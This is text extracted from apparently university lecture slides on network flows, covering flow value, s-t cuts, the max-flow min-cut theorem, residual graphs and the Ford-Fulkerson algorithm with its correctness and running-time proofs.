f_{out}(v), \text{ for } v \neq s, t\) where \[ f_{in}(v) = \sum_{u} f(u \rightarrow v) \] \[ f_{out}(v) = \sum_{w} f(v \rightarrow w) \] - To simplify, \(f(u \rightarrow v) = 0\) if there is no edge from \(u\) to \(v\) Feasible Flow - And second, a feasible flow must satisfy the capacity constraints of the network, that is, \[ \text{[Capacity constraint]} \quad \text{for each } e \in E, 0 \leq f(e) \leq c(e) \] • **Definition.** The **value** of a flow $f$, written $v(f)$, is $f_{out}(s)$. $$v(f) = 5 + 10 + 10 = 25$$ Value of a Flow - **Definition.** The value of a flow $f$, written $v(f)$, is $f_{out}(s)$. - **Lemma.** $f_{out}(s) = f_{in}(t)$ Intuitively, why do you think this is true? value $= 5 + 10 + 10 = 25$ Value of a Flow **Lemma.** \( f_{out}(s) = f_{in}(t) \) **Proof.** Let \( f(E) = \sum_{e \in E} f(e) \) • Then, \( \sum_{v \in V} f_{in}(v) = f(E) = \sum_{v \in V} f_{out}(v) \) • For every \( v \neq s, t \) flow conservation implies \( f_{in}(v) = f_{out}(v) \) • Thus all terms cancel out on both sides except \( f_{in}(s) + f_{in}(t) = f_{out}(s) + f_{out}(t) \) • But \( f_{in}(s) = f_{out}(t) = 0 \) ■ Value of a Flow - **Lemma.** $f_{out}(s) = f_{in}(t)$ - **Corollary.** $v(f) = f_{in}(t)$. \[ \text{value} = 5 + 10 + 10 = 25 \] Max-Flow Problem - **Problem.** Given an $s$-$t$ flow network, find a feasible $s$-$t$ flow of maximum value. Minimum Cut Problem Cuts are Back! - Cuts in graphs played a key role when we were designing algorithms for MSTs. - What is the definition of a cut? Cuts in Flow Networks - **Recall.** A cut \((S, T)\) in a graph is a partition of vertices such that \(S \cup T = V\), \(S \cap T = \emptyset\) and \(S, T\) are non-empty. - **Definition.** An \((s, t)\)-cut is a cut \((S, T)\) s.t. \(s \in S\) and \(t \in T\). Cut Capacity - **Recall.** A cut \((S, T)\) in a graph is a partition of vertices such that \(S \cup T = V\), \(S \cap T = \emptyset\) and \(S, T\) are non-empty. - **Definition.** An \((s, t)\)-cut is a cut \((S, T)\) s.t. \(s \in S\) and \(t \in T\). - **Capacity** of a \((s, t)\)-cut \((S, T)\) is the sum of the capacities of edges leaving \(S\): \[ c(S, T) = \sum_{v \in S, w \in T} c(v \rightarrow w) \] Quick Quiz **Question.** What is the capacity of the $s$-$t$ cut given by grey and white nodes? A. 11 \((20 + 25 - 8 - 11 - 9 - 6)\) B. 34 \((8 + 11 + 9 + 6)\) C. 45 \((20 + 25)\) D. 79 \((20 + 25 + 8 + 11 + 9 + 6)\) \[ c(S, T) = \sum_{v \in S, w \in T} c(v \to w) \] Min Cut Problem - **Problem.** Given an \( s-t \) flow network, find an \( s-t \) cut of minimum capacity. Relationship between Flows and Cuts Flows and Cuts - Cuts represent "bottlenecks" in a flow network - For any \((s, t)\)-cut, all flow needs to "exit" \(S\) to get to \(t\) - We will formalize this intuition Claim. Let $f$ be any $s$-$t$ flow and $(S, T)$ be any $s$-$t$ cut then $\nu(f) \leq c(S, T)$ - There are two $s$-$t$ cuts for which this is easy to see (which ones?) Claim. Let $f$ be any $s$-$t$ flow and $(S, T)$ be any $s$-$t$ cut then $\nu(f) \leq c(S, T)$ - There are two $s$-$t$ cuts for which this is easy to see (which ones?) Flows and Cuts To prove this for any cut, we first relate the flow value in a network to the net flow leaving a cut - **Lemma.** For any feasible $(s, t)$-flow $f$ on $G = (V, E)$ and any $(s, t)$-cut, $v(f) = f_{out}(S) - f_{in}(S)$, where \[ f_{out}(S) = \sum_{v \in S, w \in T} f(v \rightarrow w) \quad \text{(sum of flow ‘leaving’ $S$)} \] \[ f_{in}(S) = \sum_{v \in S, w \in T} f(w \rightarrow v) \quad \text{(sum of flow ‘entering’ $S$)} \] - **Note:** $f_{out}(S) = f_{in}(T)$ and $f_{in}(S) = f_{out}(T)$ Flows and Cuts Proof. \( f_{out}(S) - f_{in}(S) \) \[ = \sum_{v \in S, w \in T} f(v \to w) - \sum_{v \in S, u \in T} f(u \to v) \quad \text{[by definition]} \] \[ = \left[ \sum_{v, w \in S} f(v \to w) - \sum_{v, u \in S} f(u \to v) \right] + \sum_{v \in S, w \in T} f(v \to w) - \sum_{v \in S, u \in T} f(u \to v) \] These are the same sum: they sum the flow of all edges with both vertices in \( S \) Adding zero terms Proof. \( f_{out}(S) - f_{in}(S) \) \[ = \left[ \sum_{v,w \in S} f(v \to w) - \sum_{v,u \in S} f(u \to v) \right] + \sum_{v \in S, w \in T} f(v \to w) - \sum_{v \in S, u \in T} f(u \to v) \] \[ = \sum_{v,w \in S} f(v \to w) + \sum_{v \in S, w \in T} f(v \to w) - \sum_{v,u \in S} f(u \to v) - \sum_{v \in S, u \in T} f(u \to v) \] \[ = \sum_{v \in S} \left( \sum_{w} f(v \to w) - \sum_{u} f(u \to v) \right) \] \[ = \sum_{v \in S} f_{out}(v) - f_{in}(v) \] \[ = f_{out}(S) = v(f) \hspace{1cm} \blacksquare \] Flows and Cuts - We use this result to prove that the value of a flow cannot exceed the capacity of any cut in the network. - **Claim.** Let $f$ be any $s$-$t$ flow and $(S, T)$ be any $s$-$t$ cut then \[ v(f) \leq c(S, T) \] - **Proof.** \[ v(f) = f_{out}(S) - f_{in}(S) \\ \leq f_{out}(S) = \sum_{v \in S, w \in T} f(v \to w) \\ \leq \sum_{v \in S, w \in T} c(v, w) = c(S, T) \] When is $v(f) = c(S, T)$? - $f_{in}(S) = 0$, $f_{out}(S) = c(S, T)$ Max-Flow & Min-Cut - Suppose the $c_{\text{min}}$ is the capacity of the minimum cut in a network - What can we say about the feasible flow we can send through it - cannot be more than $c_{\text{min}}$ - In fact, whenever we find any $s$-$t$ flow $f$ and any $s$-$t$ cut $(S, T)$ such that, $\nu(f) = c(S, T)$ we can conclude that: - $f$ is the maximum flow, and, - $(S, T)$ is the minimum cut - The question now is, given any flow network with min cut $c_{\text{min}}$, is it always possible to route a feasible $s$-$t$ flow $f$ with $\nu(f) = c_{\text{min}}$? Max-Flow Min-Cut Theorem There is a beautiful, powerful relationship between these two problems in given by the following theorem. - **Theorem.** Given any flow network $G$, there exists a feasible $(s, t)$-flow $f$ and an $(s, t)$-cut $(S, T)$ such that, $$\nu(f) = c(S, T)$$ - Informally, in a flow network, the **max-flow = min-cut** - This will guide our algorithm design for finding max flow - (Will prove this theorem by construction in a bit.) Aside: Network Flow History • In 1950s, US military researchers Harris and Ross wrote a classified report about the rail network linking Soviet Union and Eastern Europe • Vertices were the geographic regions • Edges were railway links between the regions • Edge weights were the rate at which material could be shipped from one region to next • Ross and Harris determined: • Maximum amount of stuff that could be moved from Russia to Europe (max flow) • Cheapest way to disrupt the network by removing rail links (min cut) Network Flow History Fig. 7 — Traffic pattern: entire network available Legend: - International boundary - Railway operating division Capacity: 12 each way per day. Required flow of 9 per day toward destinations (in direction of arrow) with equivalent number of returning trains in opposite direction. All capacities in √1000’s of tons each way per day. Destinations: Divisions 3, 6, 9 (Poland); 10 (Czechoslovakia); and 2, 3 (Austria). Alternative destinations: Germany or East Germany. Note: IX at Division 9, Poland. Ford-Fulkerson Algorithm Towards a Max-Flow Algorithm We will design a max-flow algorithm and show that there is a $s$-$t$ cut s.t. value of flow computed by algorithm $=$ capacity of cut - Let's start with a greedy approach: - Pick an $s$-$t$ path and push as much flow as possible down it - Repeat until you get stuck Note: This won't actually work, but it gives us a sense of what we need to keep track of to improve it Towards a Max-Flow Algorithm Greedy strategy: - Start with $f(e) = 0$ for each edge - Find an $s \sim t$ path $P$ where each edge has $f(e) < c(e)$ - “Augment” flow (as much as possible) along path $P$ - Repeat until you get stuck - Let’s explore an example Towards a Max-Flow Algorithm - Start with $f(e) = 0$ for each edge - Find an $s \sim t$ path $P$ where each edge has $f(e) < c(e)$ - “Augment” flow (as much as possible) along path $P$ - Repeat until you get stuck Towards a Max-Flow Algorithm - Start with $f(e) = 0$ for each edge - Find an $s \leadsto t$ path $P$ where each edge has $f(e) < c(e)$ - “Augment” flow (as much as possible) along path $P$ - Repeat until you get stuck Towards a Max-Flow Algorithm - Start with $f(e) = 0$ for each edge - Find an $s \rightsquigarrow t$ path $P$ where each edge has $f(e) < c(e)$ - “Augment” flow (as much as possible) along path $P$ - Repeat until you get stuck Towards a Max-Flow Algorithm - Start with $f(e) = 0$ for each edge - Find an $s \sim t$ path $P$ where each edge has $f(e) < c(e)$ - "Augment" flow (as much as possible) along path $P$ - Repeat until you get stuck Towards a Max-Flow Algorithm - Start with $f(e) = 0$ for each edge - Find an $s \sim t$ path $P$ where each edge has $f(e) < c(e)$ - “Augment” flow (as much as possible) along path $P$ - Repeat until you get stuck Towards a Max-Flow Algorithm - Start with $f(e) = 0$ for each edge - Find an $s \leadsto t$ path $P$ where each edge has $f(e) < c(e)$ - “Augment” flow (as much as possible) along path $P$ - Repeat until you get stuck Towards a Max-Flow Algorithm - Start with $f(e) = 0$ for each edge - Find an $s \leadsto t$ path $P$ where each edge has $f(e) < c(e)$ - “Augment” flow (as much as possible) along path $P$ - Repeat until you get stuck Is this the best we can do? Ending flow value = 16 Towards a Max-Flow Algorithm - Start with $f(e) = 0$ for each edge - Find an $s \sim t$ path $P$ where each edge has $f(e) < c(e)$ - “Augment” flow (as much as possible) along path $P$ - Repeat until you get stuck **ending flow value = 16** Towards a Max-Flow Algorithm - Start with $f(e) = 0$ for each edge - Find an $s \sim t$ path $P$ where each edge has $f(e) < c(e)$ - “Augment” flow (as much as possible) along path $P$ - Repeat until you get stuck ending flow value = 16 Towards a Max-Flow Algorithm - Start with $f(e) = 0$ for each edge - Find an $s \sim t$ path $P$ where each edge has $f(e) < c(e)$ - “Augment” flow (as much as possible) along path $P$ - Repeat until you get stuck ending flow value = 16 Towards a Max-Flow Algorithm - Start with $f(e) = 0$ for each edge - Find an $s \sim t$ path $P$ where each edge has $f(e) < c(e)$ - “Augment” flow (as much as possible) along path $P$ - Repeat until you get stuck **ending flow value = 16** Towards a Max-Flow Algorithm - Start with \( f(e) = 0 \) for each edge - Find an \( s \sim t \) path \( P \) where each edge has \( f(e) < c(e) \) - “Augment” flow (as much as possible) along path \( P \) - Repeat until you get stuck ending flow value = 16 Towards a Max-Flow Algorithm - Start with $f(e) = 0$ for each edge - Find an $s \sim t$ path $P$ where each edge has $f(e) < c(e)$ - “Augment” flow (as much as possible) along path $P$ - Repeat until you get stuck **ending flow value = 16** Towards a Max-Flow Algorithm - Start with $f(e) = 0$ for each edge - Find an $s \sim t$ path $P$ where each edge has $f(e) < c(e)$ - “Augment” flow (as much as possible) along path $P$ - Repeat until you get stuck Ending flow value = 16 Towards a Max-Flow Algorithm - Start with $f(e) = 0$ for each edge - Find an $s \sim t$ path $P$ where each edge has $f(e) < c(e)$ - "Augment" flow (as much as possible) along path $P$ - Repeat until you get stuck max-flow value = 19 Towards a Max-Flow Algorithm - Start with \( f(e) = 0 \) for each edge - Find an \( s \sim t \) path \( P \) where each edge has \( f(e) < c(e) \) - “Augment” flow (as much as possible) along path \( P \) - Repeat until you get stuck **max-flow value = 19** Why Greedy Fails **Problem:** greedy can never “undo” a bad flow decision - Consider the following flow network ``` +---+ 2 +---+ 2 +---+ 2 | | | | | | +---+ 2 +---+ 1 +---+ | | | | | | +---+ +---+ +---+ s 2 w t ``` - Greedy could choose $s \rightarrow v \rightarrow w \rightarrow t$ as first $P$ - **Takeaway:** Need a mechanism to “undo” bad flow decisions Ford-Fulkerson Algorithm Ford Fulkerson: Idea **Goal**: Want to make “forward progress” while letting ourselves undo previous decisions if they’re getting in our way - **Idea**: keep track of where we can push flow - Can push more flow along any edge with remaining capacity - Can also push flow “back” along any edge that already has flow down it (**undo** a previous flow push) - We need a way to systematically track these decisions Residual Graph Given flow network $G = (V, E, c)$ and a feasible flow $f$ on $G$, the residual graph $G_f = (V, E_f, c_f)$ is defined as follows: - Vertices in $G_f$ same as $G$ - (Forward edge) For $e \in E$ with residual capacity $c(e) - f(e) > 0$, create $e \in E_f$ with capacity $c(e) - f(e)$ - (Backward edge) For $e \in E$ with $f(e) > 0$, create $e_{reverse} \in E_f$ with capacity $f(e)$ Flow Algorithm Idea • Now we have a residual graph that lets us make forward progress or push back existing flow • We will look for $s \sim t$ paths in $G_f$ rather than $G$ • Once we have a path, we will "augment" flow along it similar to greedy • find bottleneck capacity edge on the path and push that much flow through it in $G_f$ • When we translate this back to $G$, this means: • We increment existing flow on a forward edge • Or we decrement flow on a backward edge Augmenting Path & Flow - An **augmenting path** $P$ is a **simple** $s \rightsquigarrow t$ path in the residual graph $G_f$ - The **bottleneck capacity** $b$ of an augmenting path $P$ is the minimum capacity of any edge in $P$. ``` AUGMENT($f$, $P$) $b \leftarrow$ bottleneck capacity of augmenting path $P$. FOREACH edge $e \in P$ IF ($e \in E$, that is, $e$ is forward edge) Increase $f(e)$ in $G$ by $b$ ELSE Decrease $f(e)$ in $G$ by $b$ RETURN $f$. ``` Ford-Fulkerson Algorithm - Start with \( f(e) = 0 \) for each edge \( e \in E \) - Find a simple \( s \rightarrow t \) path \( P \) in the residual network \( G_f \) - Augment flow along path \( P \) by bottleneck capacity \( b \) - Repeat until you get stuck \[ \text{FORD–FULKERSON}(G) \] \begin{align*} \text{FOREACH} & \quad \text{edge} \ e \in E : \ f(e) \leftarrow 0. \\ \text{G}_f & \leftarrow \text{residual network of} \ G \ \text{with respect to} \ \text{flow} \ f. \\ \text{WHILE} & \quad (\text{there exists an} \ s \rightarrow t \ \text{path} \ P \ \text{in} \ G_f) \\ & \qquad \quad f \leftarrow \text{AUGMENT}(f, P). \\ & \quad \text{Update} \ G_f. \\ \text{RETURN} & \quad f. \end{align*} Ford-Fulkerson Example network $G$ and flow $f$ residual network $G_f$ Ford-Fulkerson Example network $G$ and flow $f$ flow capacity value of flow 0 $P$ in residual network $G_f$ Ford-Fulkerson Example network $G$ and flow $f$ residual network $G_f$ Ford-Fulkerson Example network $G$ and flow $f$ value of flow $8$ $P$ in residual network $G_f$ Ford-Fulkerson Example network $G$ and flow $f$ residual network $G_f$ Ford-Fulkerson Example network $G$ and flow $f$ value of flow $10$ $P$ in residual network $G_f$ Ford-Fulkerson Example network $G$ and flow $f$ residual network $G_f$ value of flow $10 + 6 = 16$ Ford-Fulkerson Example network $G$ and flow $f$ P in residual network $G_f$ flow capacity value of flow 16 fixes mistake from second augmenting path Ford-Fulkerson Example network $G$ and flow $f$ residual network $G_f$ Ford-Fulkerson Example network $G$ and flow $f$ $P$ in residual network $G_f$ Ford-Fulkerson Example network $G$ and flow $f$ residual network $G_f$ No s-t path left! Ford-Fulkerson Example network $G$ and flow $f$ capacity flow Capacity of cut? residual network $G_f$ nodes reachable from $s$ value of flow $= 19$ No s-t path left! Analysis: Ford-Fulkerson Analysis Outline - Feasibility and value of flow: - Show that each time we update the flow, we are routing a feasible $s$-$t$ flow through the network - And that value of this flow increases each time by that amount - Optimality: - Final value of flow is the maximum possible - Running time: - How long does it take for the algorithm to terminate? - Space: - How much total space are we using? Feasibility of Flow - **Claim.** Let $f$ be a feasible flow in $G$ and let $P$ be an augmenting path in $G_f$ with bottleneck capacity $b$. Let $f' \leftarrow \text{AUGMENT}(f, P)$, then $f'$ is a feasible flow. - **Proof.** Only need to verify constraints on the edges of $P$ (since $f' = f$ for other edges). Let $e = (u, v) \in P$ - If $e$ is a forward edge: $f'(e) = f(e) + b$ $\leq f(e) + (c(e) - f(e)) = c(e)$ - If $e$ is a backward edge: $f'(e) = f(e) - b$ $\geq f(e) - f(e) = 0$ - Conservation constraint hold on any node in $u \in P$: - $f_{in}(u) = f_{out}(u)$, therefore $f'_{in}(u) = f'_{out}(u)$ for both cases Value of Flow: Making Progress • **Claim.** Let \( f \) be a feasible flow in \( G \) and let \( P \) be an augmenting path in \( G_f \) with bottleneck capacity \( b \). Let \( f' \leftarrow \text{AUGMENT}(f, P) \), then \( v(f') = v(f) + b \). • **Proof.** * First edge \( e \in P \) must be out of \( s \) in \( G_f \) * \((P \text{ is simple so never visits } s \text{ again})\ * \( e \text{ must be a forward edge } (P \text{ is a path from } s \text{ to } t)\ * Thus \( f(e) \text{ increases by } b \), increasing \( v(f) \text{ by } b \) • **Note.** Means the algorithm makes forward progress each time! Optimality Ford-Fulkerson Optimality - **Recall**: If \( f \) is any feasible \( s-t \) flow and \((S, T)\) is any \( s-t \) cut then \( \nu(f) \leq c(S, T) \). - We will show that the Ford-Fulkerson algorithm terminates in a flow that achieves optimality, that is, - Ford-Fulkerson finds a flow \( f^* \) and there exists a cut \((S^*, T^*)\) such that, \( \nu(f^*) = c(S^*, T^*) \) - Proving this shows that it finds the maximum flow (and the min cut) - This also **proves the max-flow min-cut theorem** Ford-Fulkerson Optimality - **Lemma.** Let $f$ be an $s$-$t$ flow in $G$ such that there is no augmenting path in the residual graph $G_f$, then there exists a cut $(S^*, T^*)$ such that $\nu(f) = c(S^*, T^*)$. - **Proof.** - Let $S^* = \{v \mid v$ is reachable from $s$ in $G_f\}$, $T^* = V - S^*$ - Is this an $s$-$t$ cut? - $s \in S$, $t \in T$, $S \cup T = V$ and $S \cap T = \emptyset$ - Consider an edge $e = u \rightarrow v$ with $u \in S^*$, $v \in T^*$, then what can we say about $f(e)$? Recall: Ford-Fulkerson Example network $G$ and flow $f$ residual network $G_f$ Capacity of cut? nodes reachable from $s$ No $s$-$t$ path left! Ford-Fulkerson Optimality - **Lemma.** Let \( f \) be a \( s-t \) flow in \( G \) such that there is no augmenting path in the residual graph \( G_f \), then there exists a cut \((S^*, T^*)\) such that \( \nu(f) = c(S^*, T^*) \). - **Proof.** - Let \( S^* = \{ v \mid v \text{ is reachable from } s \text{ in } G_f \} \), \( T^* = V - S^* \) - Is this an \( s-t \) cut? - \( s \in S, t \in T, S \cup T = V \) and \( S \cap T = \emptyset \) - Consider an edge \( e = u \rightarrow v \) with \( u \in S^*, v \in T^* \), then what can we say about \( f(e) \)? - \( f(e) = c(e) \) Ford-Fulkerson Optimality - **Lemma.** Let $f$ be a $s$-$t$ flow in $G$ such that there is no augmenting path in the residual graph $G_f$, then there exists a cut $(S^*, T^*)$ such that $\nu(f) = c(S^*, T^*)$. - **Proof. (Cont.)** - Let $S^* = \{v \mid v$ is reachable from $s$ in $G_f\}$, $T^* = V - S^*$ - Is this an $s$-$t$ cut? - $s \in S, t \in T, S \cup T = V$ and $S \cap T = \emptyset$ - Consider an edge $e = w \rightarrow v$ with $v \in S^*, w \in T^*$, then what can we say about $f(e)$? Recall: Ford-Fulkerson Example network $G$ and flow $f$ residual network $G_f$ Capacity of cut? value of flow No s-t path left! Ford-Fulkerson Optimality - **Lemma.** Let $f$ be a $s$-$t$ flow in $G$ such that there is no augmenting path in the residual graph $G_f$, then there exists a cut $(S^*, T^*)$ such that $\nu(f) = c(S^*, T^*)$. - **Proof.** (Cont.) - Let $S^* = \{v \mid v$ is reachable from $s$ in $G_f\}$, $T^* = V - S^*$ - Is this an $s$-$t$ cut? - $s \in S$, $t \in T$, $S \cup T = V$ and $S \cap T = \emptyset$ - Consider an edge $e = w \rightarrow v$ with $v \in S^*$, $w \in T^*$, then what can we say about $f(e)$? - $f(e) = 0$ Otherwise, there would have been a backwards edge in the residual graph Ford-Fulkerson Optimality - **Lemma.** Let $f$ be a $s$-$t$ flow in $G$ such that there is no augmenting path in the residual graph $G_f$, then there exists a cut $(S^*, T^*)$ such that $v(f) = c(S^*, T^*)$. - **Proof. (Cont.)** - Let $S^* = \{v \mid v$ is reachable from $s$ in $G_f\}$, $T^* = V - S^*$ - Thus, all edges leaving $S^*$ are completely saturated and all edges entering $S^*$ have zero flow - $v(f) = f_{out}(S^*) - f_{in}(S^*) = f_{out}(S^*) = c(S^*, T^*)$ $\blacksquare$ - **Corollary.** Ford-Fulkerson returns the maximum flow. Ford-Fulkerson Algorithm Running Time Ford-Fulkerson Performance \[\text{FORD–FULKERSON}(G)\] \text{FOREACH edge } e \in E: f(e) \leftarrow 0. \(G_f \leftarrow \text{residual network of } G \text{ with respect to flow } f.\) \textbf{WHILE} (there exists an } s \rightarrow t \text{ path } P \text{ in } G_f)\textbf{ } \(f \leftarrow \text{AUGMENT}(f, P).\) \text{Update } G_f. \textbf{RETURN } f. • Does the algorithm terminate? • Can we bound the number of iterations it does? • Running time? Ford-Fulkerson Running Time - Recall we proved that with each call to AUGMENT, we increase the **value of flow** by $b = \text{bottleneck}(G_f, P)$ - **Assumption.** Suppose all capacities $c(e)$ are integers. - **Integrality invariant.** Throughout Ford–Fulkerson, every edge flow $f(e)$ and corresponding residual capacity is an integer. Thus $b \geq 1$. - Let $C = \max_u c(s \rightarrow u)$ be the maximum capacity among edges leaving the source $s$. - It must be that $v(f) \leq (n - 1)C$ - Since, $v(f)$ increases by $b \geq 1$ in each iteration, it follows that FF algorithm terminates in at most $v(f) = O(nC)$ iterations. Ford-Fulkerson Performance \begin{itemize} \item Operations in each iteration? \begin{itemize} \item Find an augmenting path in $G_f$ \item Augment flow on path \item Update $G_f$ \end{itemize} \end{itemize} Ford-Fulkerson Running Time - **Claim.** Ford-Fulkerson can be implemented to run in time $O(nmC)$, where $m = |E| \geq n - 1$ and $C = \max_{u} c(s \to u)$. - **Proof.** Time taken by each iteration: - Finding an augmenting path in $G_f$ - $G_f$ has at most $2m$ edges, using BFS/DFS takes $O(m + n) = O(m)$ time - Augmenting flow in $P$ takes $O(n)$ time - Given new flow, we can build new residual graph in $O(m)$ time - Overall, $O(m)$ time per iteration $\blacksquare$ Acknowledgments - Some of the material in these slides are taken from - Jeff Erickson’s Algorithms Book (http://jeffe.cs.illinois.edu/teaching/algorithms/book/Algorithms-JeffE.pdf) - Shikha Singh
{"Source-Url": "http://cs.williams.edu/~jannen/teaching/s23/cs256/meetings/23-flow-networks-I.pdf", "len_cl100k_base": 8676, "olmocr-version": "0.1.53", "pdf-total-pages": 88, "total-fallback-pages": 0, "total-input-tokens": 152894, "total-output-tokens": 12261, "length": "2e13", "weborganizer": {"__label__adult": 0.00063323974609375, "__label__art_design": 0.0011625289916992188, "__label__crime_law": 0.0009150505065917968, "__label__education_jobs": 0.046295166015625, "__label__entertainment": 0.00024962425231933594, "__label__fashion_beauty": 0.0004456043243408203, "__label__finance_business": 0.0009832382202148438, "__label__food_dining": 0.0006961822509765625, "__label__games": 0.0023365020751953125, "__label__hardware": 0.0017747879028320312, "__label__health": 0.0024471282958984375, "__label__history": 0.0015926361083984375, "__label__home_hobbies": 0.0004887580871582031, "__label__industrial": 0.0012760162353515625, "__label__literature": 0.0013418197631835938, "__label__politics": 0.0005931854248046875, "__label__religion": 0.0009531974792480468, "__label__science_tech": 0.3720703125, "__label__social_life": 0.0004868507385253906, "__label__software": 0.01171875, "__label__software_dev": 0.5478515625, "__label__sports_fitness": 0.000912189483642578, "__label__transportation": 0.0023365020751953125, "__label__travel": 0.0005779266357421875}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 25734, 0.00982]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 25734, 0.83509]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 25734, 0.80578]], "google_gemma-3-12b-it_contains_pii": [[0, 14, false], [14, 384, null], [384, 968, null], [968, 1432, null], [1432, 1669, null], [1669, 2129, null], [2129, 2624, null], [2624, 2822, null], [2822, 2931, null], [2931, 3136, null], [3136, 3550, null], [3550, 3681, null], [3681, 3792, null], [3792, 3812, null], [3812, 3942, null], [3942, 4206, null], [4206, 4621, null], [4621, 4895, null], [4895, 5003, null], [5003, 5039, null], [5039, 5212, null], [5212, 5380, null], [5380, 5548, null], [5548, 6078, null], [6078, 6503, null], [6503, 7017, null], [7017, 7483, null], [7483, 8052, null], [8052, 8509, null], [8509, 9043, null], [9043, 9639, null], [9639, 9664, null], [9664, 10069, null], [10069, 10329, null], [10329, 10544, null], [10544, 10763, null], [10763, 10990, null], [10990, 11205, null], [11205, 11420, null], [11420, 11639, null], [11639, 11911, null], [11911, 12154, null], [12154, 12393, null], [12393, 12632, null], [12632, 12875, null], [12875, 13134, null], [13134, 13377, null], [13377, 13616, null], [13616, 13852, null], [13852, 14112, null], [14112, 14530, null], [14530, 14555, null], [14555, 14972, null], [14972, 15373, null], [15373, 15866, null], [15866, 16358, null], [16358, 17066, null], [17066, 17139, null], [17139, 17251, null], [17251, 17324, null], [17324, 17423, null], [17423, 17496, null], [17496, 17596, null], [17596, 17699, null], [17699, 17853, null], [17853, 17926, null], [17926, 18006, null], [18006, 18098, null], [18098, 18272, null], [18272, 18297, null], [18297, 18702, null], [18702, 19362, null], [19362, 19984, null], [19984, 19995, null], [19995, 20495, null], [20495, 21005, null], [21005, 21153, null], [21153, 21746, null], [21746, 22257, null], [22257, 22390, null], [22390, 22994, null], [22994, 23547, null], [23547, 23586, null], [23586, 24052, null], [24052, 24689, null], [24689, 24920, null], [24920, 25408, null], [25408, 25734, null]], "google_gemma-3-12b-it_is_public_document": [[0, 14, true], [14, 384, null], [384, 968, null], [968, 1432, null], [1432, 1669, null], [1669, 2129, null], [2129, 2624, null], [2624, 2822, null], [2822, 2931, null], [2931, 3136, null], [3136, 3550, null], [3550, 3681, null], [3681, 3792, null], [3792, 3812, null], [3812, 3942, null], [3942, 4206, null], [4206, 4621, null], [4621, 4895, null], [4895, 5003, null], [5003, 5039, null], [5039, 5212, null], [5212, 5380, null], [5380, 5548, null], [5548, 6078, null], [6078, 6503, null], [6503, 7017, null], [7017, 7483, null], [7483, 8052, null], [8052, 8509, null], [8509, 9043, null], [9043, 9639, null], [9639, 9664, null], [9664, 10069, null], [10069, 10329, null], [10329, 10544, null], [10544, 10763, null], [10763, 10990, null], [10990, 11205, null], [11205, 11420, null], [11420, 11639, null], [11639, 11911, null], [11911, 12154, null], [12154, 12393, null], [12393, 12632, null], [12632, 12875, null], [12875, 13134, null], [13134, 13377, null], [13377, 13616, null], [13616, 13852, null], [13852, 14112, null], [14112, 14530, null], [14530, 14555, null], [14555, 14972, null], [14972, 15373, null], [15373, 15866, null], [15866, 16358, null], [16358, 17066, null], [17066, 17139, null], [17139, 17251, null], [17251, 17324, null], [17324, 17423, null], [17423, 17496, null], [17496, 17596, null], [17596, 17699, null], [17699, 17853, null], [17853, 17926, null], [17926, 18006, null], [18006, 18098, null], [18098, 18272, null], [18272, 18297, null], [18297, 18702, null], [18702, 19362, null], [19362, 19984, null], [19984, 19995, null], [19995, 20495, null], [20495, 21005, null], [21005, 21153, null], [21153, 21746, null], [21746, 22257, null], [22257, 22390, null], [22390, 22994, null], [22994, 23547, null], [23547, 23586, null], [23586, 24052, null], [24052, 24689, null], [24689, 24920, null], [24920, 25408, null], [25408, 25734, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 25734, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, true], [5000, 25734, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 25734, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 25734, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 25734, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 25734, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 25734, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 25734, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, true], [5000, 25734, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 25734, null]], "pdf_page_numbers": [[0, 14, 1], [14, 384, 2], [384, 968, 3], [968, 1432, 4], [1432, 1669, 5], [1669, 2129, 6], [2129, 2624, 7], [2624, 2822, 8], [2822, 2931, 9], [2931, 3136, 10], [3136, 3550, 11], [3550, 3681, 12], [3681, 3792, 13], [3792, 3812, 14], [3812, 3942, 15], [3942, 4206, 16], [4206, 4621, 17], [4621, 4895, 18], [4895, 5003, 19], [5003, 5039, 20], [5039, 5212, 21], [5212, 5380, 22], [5380, 5548, 23], [5548, 6078, 24], [6078, 6503, 25], [6503, 7017, 26], [7017, 7483, 27], [7483, 8052, 28], [8052, 8509, 29], [8509, 9043, 30], [9043, 9639, 31], [9639, 9664, 32], [9664, 10069, 33], [10069, 10329, 34], [10329, 10544, 35], [10544, 10763, 36], [10763, 10990, 37], [10990, 11205, 38], [11205, 11420, 39], [11420, 11639, 40], [11639, 11911, 41], [11911, 12154, 42], [12154, 12393, 43], [12393, 12632, 44], [12632, 12875, 45], [12875, 13134, 46], [13134, 13377, 47], [13377, 13616, 48], [13616, 13852, 49], [13852, 14112, 50], [14112, 14530, 51], [14530, 14555, 52], [14555, 14972, 53], [14972, 15373, 54], [15373, 15866, 55], [15866, 16358, 56], [16358, 17066, 57], [17066, 17139, 58], [17139, 17251, 59], [17251, 17324, 60], [17324, 17423, 61], [17423, 17496, 62], [17496, 17596, 63], [17596, 17699, 64], [17699, 17853, 65], [17853, 17926, 66], [17926, 18006, 67], [18006, 18098, 68], [18098, 18272, 69], [18272, 18297, 70], [18297, 18702, 71], [18702, 19362, 72], [19362, 19984, 73], [19984, 19995, 74], [19995, 20495, 75], [20495, 21005, 76], [21005, 21153, 77], [21153, 21746, 78], [21746, 22257, 79], [22257, 22390, 80], [22390, 22994, 81], [22994, 23547, 82], [23547, 23586, 83], [23586, 24052, 84], [24052, 24689, 85], [24689, 24920, 86], [24920, 25408, 87], [25408, 25734, 88]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 25734, 0.00374]]}
